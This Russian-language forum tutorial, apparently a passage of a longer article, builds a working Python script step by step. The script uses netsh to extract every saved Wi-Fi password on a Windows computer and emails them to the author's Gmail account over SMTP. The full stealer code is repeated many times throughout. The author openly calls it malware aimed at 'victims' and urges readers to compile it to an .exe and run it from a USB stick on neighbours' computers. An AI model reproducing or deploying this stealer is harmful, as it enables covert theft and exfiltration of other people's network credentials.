command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Теперь когда в переменной sever находится, наш экземпляр сервера гугл, нам нужно его настроить, строка server.starttls() устанавливает TLS соединение, о том, что это такое TLS соединение, рекомендую ознакомиться самостоятельно. Иначе этот мануал превратиться в книгу. Двигаемся дальше пишем следующую строку, следующая строка внутри нашей функции будет server.login(email, password):
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
И так, давайте еще раз проанализируем, что к этому моменту мы написали в нашей фунции, давайте разберем весть код нашей функции, чтобы понять последнюю строку, которую мы написали, только что, и так:
def send_mail(email, password, message):
Мы создали функцию, наша функция получит от нас наш логин почты и пароль и сообщение которое нужно будет отправить на нашу почту. Но пока не обращайте внимание на слово "message". Далее:
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
Далее мы создаем экземпляр сервера гугл, этой строкой - server = smtplib.SMTP("smtp.gmail.com", 587 ) Здесь мы объяснили функции какой именно серве мы будем использовать и на каком порте он работает. Далее:
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
Мы устанавливаем TLS соединение с сервером с помощью строки: server.starttls()
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
И теперь последней строкой которую мы написали server.login(email, password) мы авторезируемся в нашей почте.
То есть вот здесь def send_mail(email, password, message): функция, получит от нас наш логин и пароль, потом программа выполнить следующие строки кода и дойдя до этой строки: server.login(email, password), выполнит эту строку. То есть авторизируется в нашей почте, это все равно, что мы бы зашли на почту гугл и вошли бы в наш почтовый ящик используя наш логин и пароль.
То есть Функция - def send_mail(email, password, message): передаст этой строке - server.login(email, password) полученные от нас логин и пароль, для того чтобы эта строка выполнила вход в нашу почту. Именно для этого мы включали в самом начале разрешение в гугл аккаунте, иначе бы гугл блокировал этот вход. Надеюсь понятно, двигаемся дальше, и с новой строки с отступом пишем новую строку внутри нашей функции - sever.sendmail(email, email, message):
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
sever.sendmail(email, email, message)
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
И так строка sever.sendmail(email, email, message) будет отправлять то самое сообщение, точнее содержимое нашего сообщения нам на почту. По сути, эта функция .sendmail() принимает на вход 3 аргумента: 1 аргумент это откуда мы отправляем (email,) второй аргумент это куда мы отправляем (email,) и 3 аргумент это что мы отправляем (message).
Этой строкой sever.sendmail(email, email, message) мы говорим, что будем отправлять сообщение с почты на почту, но так как мы будем передавать функции только 1 почту, нашу. То этой строкой мы по сути отправим сообщение сами себе. А то самое сообщение (message) мы получим когда передадим его в нашу функцию в переменную (message) вот здесь def send_mail(email, password, (message)):
Да наверно сейчас все, стало, только еще сложнее для понимания, но вы все поймете когда мы закончим с кодом. И так когда мы закончили работу с сервером, а мы закончили с ним работу его нужно закрыть, по этому пишем с новой строки, не забываем про отступ server.quit():
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
И закрываем сервер строкой server.quit()
Отлично, теперь у нас есть функция, для передачи сообщений. И здорово, что теперь мы можем использовать эту функцию, в любой другой программе, мы просто можем скопировать эту часть кода:
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
И вставить ее в любую другу программу, если нам понадобится реализовать, функцию, отправки сообщений. И так давайте продолжим, у нас есть еще над чем по работать в нашем коде. На данный момент весь наш код выглядит так:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
И сейчас у нас есть проблема, дело в том что метод .Popen() в этой строке: subprocess.Popen(command, shell=True). Не запоминает, полученный результат, команды. То есть он выполняет нашу системную команду "netsh wlan show profile TP-LINK32432 key=clear" но он ни где не сохраняет результат(пароли) выполнения этой команды. По этому нам нужно заменить этот метод на более подходящий и так в той же строке меняем метод .Popen() на метод .check_output() :
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.check_output(command, shell=True)
Отлично, метод .check_output() не просто сохраняет полученный от выполнения команды результат, а ему нужно куда его передать, потому что он не может его сохранить сам в себя, поэтому всю это строку subprocess.check_output(command, shell=True) нам нужно приравнять к какой-то переменной, чтобы метод .check_output() мог сохранить информацию в переменную, по этому изменяем строку дальше и создаем в той же строке переменную, в которой будут находиться наши пароли, пишем result с начала строки и ставим знак = :
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile TP-LINK32432 key=clear"
result = subprocess.check_output(command, shell=True)
Отлично, теперь в переменной result будет хранится вся информация полученная после выполнения нашей системной команды: "netsh wlan show profile TP-LINK32432 key=clear"
Будем двигаться дальше осталось совсем не много, и так мы написали функцию отправки сообщения, но мы ни где ее не вызвали. То есть вот в этой части кода:
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
Мы только написали саму функцию и прописали для нее инструкции того как она будет работать. Но чтобы она заработала нужно ее вызвать, давайте это и сделаем. Вызываем нашу функцию send_mail в самом низу нашего кода, пишем с начала новой строки send_mail("[email protected]", "1234321", result):
command = "netsh wlan show profile TP-LINK32432 key=clear"
result = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
И так строкой send_mail("[email protected]", "1234321", result) мы вызываем нашу только написанную функцию и как раз и передаем на вход все необходимые аргументы. И теперь должно быть все понятно, и так:
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
send_mail("[email protected]", "1234321", result)
Вот теперь смотрите когда мы вызвали функцию мы передали ей 3 параметра на вход здесь: send_mail("[email protected]", "1234321", result) то есть мы указали логин нашей почты - ("[email protected]",) пароль от нашей почты - ("1234321",) и наше сообщение - (result,) И наша функция приняла от нас все эти данные и подставила их в самую первую строку нашей функции здесь - (def send_mail(email, password, message):)
То есть строка def send_mail(email, password, message): за место (email, password, message):
Подставила то что мы ей передали вот тут: send_mail("[email protected]", "1234321", result)
И дальше начала работать наша функция, выполнять те инструкции которые мы ей написали, теперь давайте разберемся, как мы получаем наше сообщение с паролем если вы забыли, возьмем только только нижнюю часть нашего кода без кода функции.
command = "netsh wlan show profile TP-LINK32432 key=clear"
result = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
И так мы написали нашу команду "netsh wlan show profile TP-LINK32432 key=clear" и сохранили эту команду в переменной command
command = "netsh wlan show profile TP-LINK32432 key=clear"
Далее переменную command мы передали функции subprocess.check_output для того чтобы команда была выполнена, то есть фактически мы сказали: то что хранится в переменной command выполни вот здесь:
result = subprocess.check_output(command, shell=True)
Затем функция .check_output получила результат от системной команды и передала его в переменную result то есть в переменной result уже хранится, вся информация, которую мы получали когда выполняли команду "netsh wlan show profile TP-LINK32432 key=clear"
И за тем мы передали переменную result в нашу функцию последним аргументом, после логина и пароля:
send_mail("[email protected]", "1234321", result)
То есть мы сказали функции, что то что хранится в result и есть то сообщение которое мы хотим получить на нашу почту.
И когда мы вызвали нашу функцию в низу программы, мы все это передали ей:
("[email protected]", "1234321", result)
И так на данный момент, весь наш код выглядит так:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile TP-LINK32432 key=clear"
result = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Помните что вот тут send_mail("[email protected]", "1234321", result), за место [email protected] и 1234321 вы подставляйте в кавычки, ту гугл почту и пароль на которую вы хотите получить, сообщение с результатом. И самое время проверить, работает ли наш скрипт. И так сначала сохраняем наш результат, находясь в редакторе кода нажимаем сочетание клавиш ctrl + S
За ходим в cmd и выполняем следующие команды:
1) cd Download - (в вашем случаем вместо Download вы пишите, свою дерикторию в которой находится ваш файл питона с программой)
2) С:\Py thon27\python.exe wifi_key_report.py
Если вы не выходили из cmd и не переходили в другу дерикторию, то вам не нужно вводить 1 команду, сразу набирайте команду номер 2
Отлично, у меня все работает, а как у вас? В этот момент, вы должны получить письмо на указанную, гугл почту. С паролем, от той вайфай сети которую вы указали в системной команде.
Я еще раз продублирую весь код нашей программы:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile TP-LINK32432 key=clear"
result = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Будь внимательны ко всем кавычкам, запятым, скобкам пробелам и двоеточиям, если вы что-то забудете или пропустите, ваша программа запустится с ошибкой и ни какого письма вы не получите.
Так же будьте внимательный к названию вашей вайфай сети, которую вы указали в команде и ко всем данным которые вы передавали функции, логин, пароль. Если, что-то из этого будет не верным, вы не сможете получить сообщение на почту и ваша программа запуститься с ошибкой.
И так я поздравляю тех у кого все получилось, на данный момент, мы с вами написали, очень неплохую программу которая ворует пароли от сети вайфай и отправляет их нам на почту. Но она не идеальна, дело в том что сейчас мы можем получить пароль только от конкретной вайфай сети которую мы указали в системной команде.
И для того, чтобы нам получить пароль от сети реальной жертвы, для этого нам нужно знать, название вайфай сети жертвы от которой мы хотим получить пароль.
По этому в реальной ситуации нашу программу практически невозможно будет использовать. А если мы все таки узнаем название нужной нам сети жертвы и захотим узнать пароль от этой сети, нам нужно будет в этой строке:
command = "netsh wlan show profile TP-LINK32432 key=clear"
Изменять, название в самом коде программы, это считается не самой лучшей практикой программирования, в общем это очень не удобно. И практически не применимо в реальном взломе.
И меня это не устраивает, по этому давайте изменим нашу программу так, чтобы она отправляла пароли от всех вайфай сетей, к которым когда либо был подключен конкретный компьютер, на котором мы будем запускать наш скрипт.
Для того, чтобы решить эту задачу, нам по требуется изменить нашу написанную, программу. И так первое что нам нужно изменить, это сделать так, чтобы наша системная команда в этой строке:
command = "netsh wlan show profile TP-LINK32432 key=clear"
Просто показывала все вайфай сети, к которым когда либо была подключена жертва.
Такую команду мы с вами уже рассматривали выглядит она следующим образом:
netsh wlan show profile
По этому изменяем наш код в строке : command = "netsh wlan show profile TP-LINK32432 key=clear", чтобы он выглядит следующим образом command = "netsh wlan show profile" :
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
result = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Далее так как наша системная команда теперь показывает просто все вайфай сети а не ворует пароль, давайте переименуем переменную result в переменную networks(сети), и так весь наш код, сейчас должен выглядеть следующим образом:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Отлично, далее наступает, наверно самый сложный момент в нашей программе, для объяснения. Потому что далее в коде мы будем использовать регулярные выражения, списки и циклы. И для человека, у которого, нет хотя бы базовых знаний программирования, будет сложно это все представить в голове, но мы не ищем легких путей, поэтому давайте пробовать. И так следующий кусок кода, мы напишем между эти двумя строками:
networks = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Так что разделяйте их уже сейчас, чтобы между ними были хотя бы 2-3 строки свободного места вот так:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Отлично, следующим шагом мы будем использовать регулярные выражения. Для того чтобы использовать регулярные выражения, нам снова нужно импортировать новый модуль, который нам и поможет в выполнении нашей задачи. Ставим запятую после smtplib "пробел" и пишем название нового модуля который называется всего двумя буквами re сейчас наш весь код должен выглядеть так:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Отлично мы добавили, модуль для работы с регулярными выражениями re.
Далее мы будем с вами действовать таким способом, я буду просто вписывать в код очередную новую строку кода, вы так же ее вписывайте у себя в редакторе и после я буду пытаться объяснить вам, что мы только что написали, договорили? Погнали..
Следующая строка которую мы впишем, будет не одна строка а сразу 2, выглядеть эти 2 строки будут так:
network_names = re.findall("(?:.*\s*:\s)(.*\r)", networks)
print(network_names)
И впишем мы их вот здесь:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names = re.findall("(?:.*\s*:\s)(.*\r)", networks)
print(network_names)
send_mail("[email protected]", "1234321", result)
Так же нам нужно поставить знак # перед этой строкой - send_mail("[email protected]", "1234321", result) сделали? отлично. И так для того чтобы минимально понять как работают регулярные вырожения, весь наш код, сейчас выглядит так:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names = re.findall("(?:.*\s*:\s)(.*\r)", networks)
print(network_names)
#send_mail("[email protected]", "1234321", result)
А теперь я постараюсь, объяснить что такое регулярные выражения. И так для того чтобы понять, что это нам нужно перейти в cmd и ввести нашу команду: netsh wlan show profile послы выполнения команды, мы видим примерно следующее:
Все профили пользователя : TP-LINK32432
Все профили пользователя : ROSTELEKOM323C
Если у вас cmd на английским то вы будете видеть следующие:
All User Profile : TP-LINK32432
All User Profile : ROSTELEKOM323C
А теперь давайте запустим нашу программу, в том виде в котором она написанна сейчас, запустите у себя в cmd наш файл питона.. У вас должна появиться примерно следующая картина на экране командной строки:
[ 'TP-LINK32432 \r', 'ROSTELEKOM323C\r' ]
Может быть у вас и больше этих имен вайфай сетей, я здесь привожу уословный пример, у вас это может быть и 2 и 3 и сколько угодно имен, ваших сетей. И так регулярное выражения, оно помогает нам работать с абсолютно любыми символами или текстом, спомощью регулярных выражений используя их правила, мы можем в любой части, абсолютно любого текста, отобразить нужные нам символы или часть текста и так же скрыть не нужные, по этому в этой части нашей строки:
re.findall("(?:.*\s*:\s)(.*\r)", networks)
Мы используем наш модуль re с методом .findall и с помощью правила для регулярных выражений в круглых скобках ("(?:.*\s*:\s)(.*\r)", networks) мы отобразили только названия наших вайфай сетей и убрали весь не нужный нам текст. И после этого сохранили все это в переменную network_names. А эту строку print(network_names), мы написали с вами именно для того, чтобы вы увидели, результат работы регулярных выражений.
И сейчас вам не нужно ждать какого, то письма на почту потому, что мы "закоментировали" нашу функцию с помощью символа # вот здесь:
#send_mail("[email protected]", "1234321", result)
знак # говорит питону, что бы все строки у которые есть вначале # он не считал как код и не исполнял его. По этому мы специально отключили нашу функцию, потому, что я хотел наглядно показать вам, как работают регулярные выражения.
Отлично мы практически на финишной прямой. И так весь наш код сейчас выглядит следующим образом:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names = re.findall("(?:.*\s*:\s)(.*\r)", networks)
print(network_names)
#send_mail("[email protected]", "1234321", result)
И первое, что мы сделаем далее давайте удалим вот эту строку: print(network_names), она нам больше не нужна, мы писали ее для того, чтобы наглядно увидеть как работают регулярные выражения, убираем ее:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names = re.findall("(?:.*\s*:\s)(.*\r)", networks)
#send_mail("[email protected]", "1234321", result)
Далее держите в голове, что теперь в этой перменно:
network_names =
В этой строке:
network_names = re.findall("(?:.*\s*:\s)(.*\r)", networks)
Не просто, просто названия вайфай сете без лишнего текста, а это уже некий список, имен вайфай сете, потому, что у вас может быть и 3 и 4 и больше этих имен, поэтому давайте изменим нашу переменную network_names на переменную network_names_list
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
#send_mail("[email protected]", "1234321", result)
Отлично, двигаемся дальше нам осталось буквально 2-3 строчки, держитесь, теперь нам нужно использовать цыкл for в нашем коде. Что такое циклы? циклы применяется, для разных задач они есть в большинстве языков программирования. В нашем конкретном случае нужен цикл for, цикл for помогает перебирать какие элементы или объекты. И так дальше действуем, по той же схеме сначал вписываем очередные 2 строки и дальше я стараюсь объяснить, что мы сделали. И так пишем следующие 2 строки:
for network_name in network_names_list:
print(network_name)
И вписываем эти строки вот здесь:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
for network_name in network_names_list:
print(network_name)
#send_mail("[email protected]", "1234321", result)
И так в этой строке:
for network_name in network_names_list:
Мы с вами создали цикл, for при чем обратите внимание, что прямо в цикле мы с вами создали новую, переменную network_name, которую раньше ни где с вами не создавали и не использовали. То есть ранее мы с вами создавали переменную как например переменная command и приравнивали ее чему-то, то есть наши переменные были чему-то равны. Сейчас же мы с вами создали новую переменную, прямо в новом цикле.
И так о чем говорит это строка, которую мы создали? О чем говорит наш цикл?
А говорит он, буквально если переводить на русский язык следующее:
Для каждого(for) элемента(network_name ) в(in) списке(network_names_list) сделай действие которые мы укажем в новой строке. То есть помните что в нашей переменной network_names_list находятся названия наших вайфай сете без лишний информации, вот в таком виде:
[ 'TP-LINK32432 \r', 'ROSTELEKOM323C\r' ]
Так вот, так как мы используем эту переменную network_names_list в цикле for и так как к этой переменной мы добавили в названии слово list питон автоматически понимает что это список, не важно сколько в этом с писке элементов, хоть 1 но питон считает это списком. И буквально в этой строке for network_name in network_names_list: мы говорим питону, возьми каждую запись или элемент(network_name ) из этого списка (network_names_list: ) и сделай с этим элементом действие которое мы мы тебе напишем в новой строке. То есть теперь для цикла for каждое название наших вайфай сетей из списка он будет сохранять в нашей новой переменной network_name .
То есть мы говорим питону буквально следующее:
for network_name in network_names_list:
Возьми каждое название вайфай сети из вот этого нашего списка.
И сделай с каждым этой сетью, с каждым этим именем(элементом) то что мы тебе скажем дальше. А дальше вот этой строкой:
print(network_name)
мы говорим питону, просто покажи нам все элементы которые хранятся в этом списке.
И далее питон будет делать следующее, он прочитает нашу строку с циклом, найдет первый элемент - первое название первой сети и потом покажет нам этот первый элемент. За тем, вернется к началу цикла снова, пройдет по нашей строке с циклом, найдет следующий элемент(название вайфай сети), покажет следующее название и так пока он не пройдет весь список и не найдет все элементы и не покажет их все. Но из-за тог что питон обработает код очень быстро нам при запуске программы он покажет уже все найденные элементы сразу.
То есть по сути вот эту строку - print(network_name) мы ее написали, для того, чтобы вы визуально смогли увидеть это список из своих вайфай сете. И увидели разницу, между тем, что было когда мы использовали регулярные выражения, напомню вы могли видеть примерно следующее:
[ 'TP-LINK32432 \r', 'ROSTELEKOM323C\r' ]
И как будет выглядеть это список сейчас, по этому идем и запускаем наш файл в командную строку.. Сейчас у вас на экране должен быть примерно следующий результат:
TP-LINK32432
ROSTELEKOM323C
....
Ну и так далее, в зависимости от того сколько у вас вайфай сетей в вашем конкретном случае. Отлично, я думаю сейчас не должно возникнуть ни каких проблем с запуском и вы увидели свой список вайфай сетей, по этому давайте двигаться дальше.
И так, наша строка:
print(network_name)
Была предназначена, для того чтобы вы визуально могли увидеть действие цикла for но для нашей конечной цели нашей программы, эта страка бесполезна. Давайте удалим ее. И так на настоящий момент, весь код нашей программы выглядит так:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
for network_name in network_names_list:
#send_mail("[email protected]", "1234321", result)
Давайте для нашего цикла for пропишем действительно полезную строку, она будет выглядеть следующим образом:
command = "netsh wlan show profile " + network_name + " key=clear"
И пишем мы ее внутри нашего цикла for точно так же как мы писали код внутри нашей функции, соблюдая отступ и так пишем:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
#send_mail("[email protected]", "1234321", result)
Я думаю, кто-то из вас уже догадался, зачем мы написали именно такую строку. И так, помните когда мы прописывали, команды в cmd, чтобы узнать пароль от вайфай сети это команда выглядела следующим образом:
netsh wlan show profile TP-LINK32432 key=clear
А теперь давайте посмотрим на строку, которую мы только, что написали
command = "netsh wlan show profile " + network_name + " key=clear"
И так строка которую мы недавно удалили из нашего кода, была следующая:
print(network_name)
Она показывала название каждой вайфай сети, то есть применялась к каждому элементу списка.
А теперь в нашей новой строке, переменная network_name(имя каждой вайфай сети) мы мы соединяем с нашей системной командой которая отображает пароль от вайфай сети. Помните, когда я говорил, о том, что, чтобы нам узнать пароль другой сети нам бу нужно было лезть в код и вот в этой строке:
command = "netsh wlan show profile TP-LINK32432 key=clear"
Изменять название вайфай сети в ручную, так вот наш цикл for и наша следующая строка в цикле for решает проблему, изменения названия сети и получения пароля
То есть сейчас в этой части когда мы говорим питону:
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
Возьми, каждый элемент из списка network_names_list: и подставь его в нашу системную команду вот здесь:
command = "netsh wlan show profile " + (network_name) + " key=clear"
и узнай пароли от каждой вайфай сети, потому что как вы помните, цикл for проходит по всему нашему списку вайфай сетей и соответственно в эту строку с командой:
command = "netsh wlan show profile " + network_name + " key=clear"
цикл в место переменной network_name подставит каждое имя каждой вайфай сети.
И получит, пароли от всех этих сетей. Отлично с этим разобрались, двигаемся дальше.
И так наша последняя строка которую мы написали, просто знает, что ей делать, но пока она не выполняет эту команду, по этому наша следующая строка будет выполнять, команду котору мы написали только что, и так следующая наша строка будет выглядеть таким образом current_result = subprocess.check_output(command, shell=True) и пишем мы ее здесь:
current_result = subprocess.check_output(command, shell=True)
И пишем вот здесь:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
current_result = subprocess.check_output(command, shell=True)
#send_mail("[email protected]", "1234321", result)
Мы уже писали подобную команду в самом начале нашей программы, я не буду повторяться что она делает, если вы забили, что она делает вернитесь в начало статьи и вспомните что делает эта часть строки - subprocess.check_output(command, shell=True)
И так если говорить простыми словами, то эта строка:
current_result = subprocess.check_output(command, shell=True)
выполняет прошлую строку:
command = "netsh wlan show profile " + network_name + " key=clear"
И в переменной current_result сохраняет пароли от каждой вайфай сете.
Но сейчас будьте внимательны, сейчас будет очень важный момент
Давайте рассмотрим еще раз код нашего цикла:
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
current_result = subprocess.check_output(command, shell=True)
И так как мы помни, что после того как цыкл выполнит все действия с первым элементом нашего списка, цикл начнется снова и произведет все те же действия с следующим элементом из нашего списка и так до конца.
И дело в том, что вот здесь в переменной current_result в этой строке:
current_result = subprocess.check_output(command, shell=True)
Каждый раз когда цикл будет начинать свой алгоритм заново с новым элементом(с новым именем новой вайфай сети) прошлый пароль от прошлой сети будет удален, для того, что переменная current_result могла сохранить в себе новый пароль от новой сети. И так будет происходить до последней вайфай сети в списке, то есть по факту когда цикл выполнит свою работу полностью, в переменной current_result будет храниться пароль от самой последней сети в списке и все. Но нам это не подходи, по этому для того чтобы нам сохранить все пароли от всех сетей, нам нужно создать переменную которая будет находится за пределами цикла. И так давайте ее создадим, пишем вот такую переменную result = "" выше нашего цикла for вот здесь :
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
result = ""
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
current_result = subprocess.check_output(command, shell=True)
#send_mail("[email protected]", "1234321", result)
Отлично мы создали нашу переменную result = "" которая равна ни чему "" пустоте. Далее пишем, следующую строку внутри нашего цикла for:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
result = ""
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
current_result = subprocess.check_output(command, shell=True)
result = result + current_result
#send_mail("[email protected]", "1234321", result)
И так что мы сделали сейчас, вначале мы создали переменную result за пределами нашего цикла, чтобы в ней сохранился каждый пароль от каждой вайфай сети, далее мы написали строку result = result + current_result которая будет работать следующим образом, и так сначала в переменной result пусто, нет ни каких данных, затем начинает работать цикл, цикл получает пароль от первой вайфай сети и сохраняет его переменной current_result переменная current_result передаст этот пароль переменной result вот в этой строке:
result = result + current_result
В переменной result сохранится имя и пароль от первой вайфай сети, дальше цикл начнется снова уже с следующим именем следующей вайфай сети переменная current_result передаст новые данные переменной result. После этого пароль удалится только из переменной current_result, а в переменной result уже будут данный и от первой вайфай сети и от второй и так до конца, пока цикл не пройдет весть список и current_result не передаст все данные которые сохранятся в переменной result
Круть, вы красавчики, потому что до шли до этого момент.
И нам осталось еще выполнить всего одно изменение давайте вернем работоспособность, нашей функции и уберем это знак # в начале этой строки:
send_mail("[email protected]", "1234321", result)
Отлично!! Хочу поздравить вас потому что мы закончили!! И написали свою собственную, программу которая собирает пароли, от вайфай сетей и отправляет их напрямую к нам на почту. И я понимаю, что сейчас возможно у кого-то появится, вопросы типо: "Ну как это использовать это же файл с расширением .py" Да да я знаю, что это не .exe файл, но задача статьи была, только в том, чтобы показать вам, как вы можете с минимальными знаниями или вообще без них (с моей помощью) сами написать вредоносную, программу. Теперь осталось найти в интернете информацию, о том как конвертировать файл питона в исполняемый файл .exe и с радостным и вредоносным лицом, с флешкой ходит по соседям. И на случай если нет денег на оплату интернета особо не переживать об этом. В конце приложу финальный скрин готового, кода, чтобы вы могли сравнить с тем,что у вас получилось и что-то подправить, у меня на этом все, всем пока.
Последнее редактирование: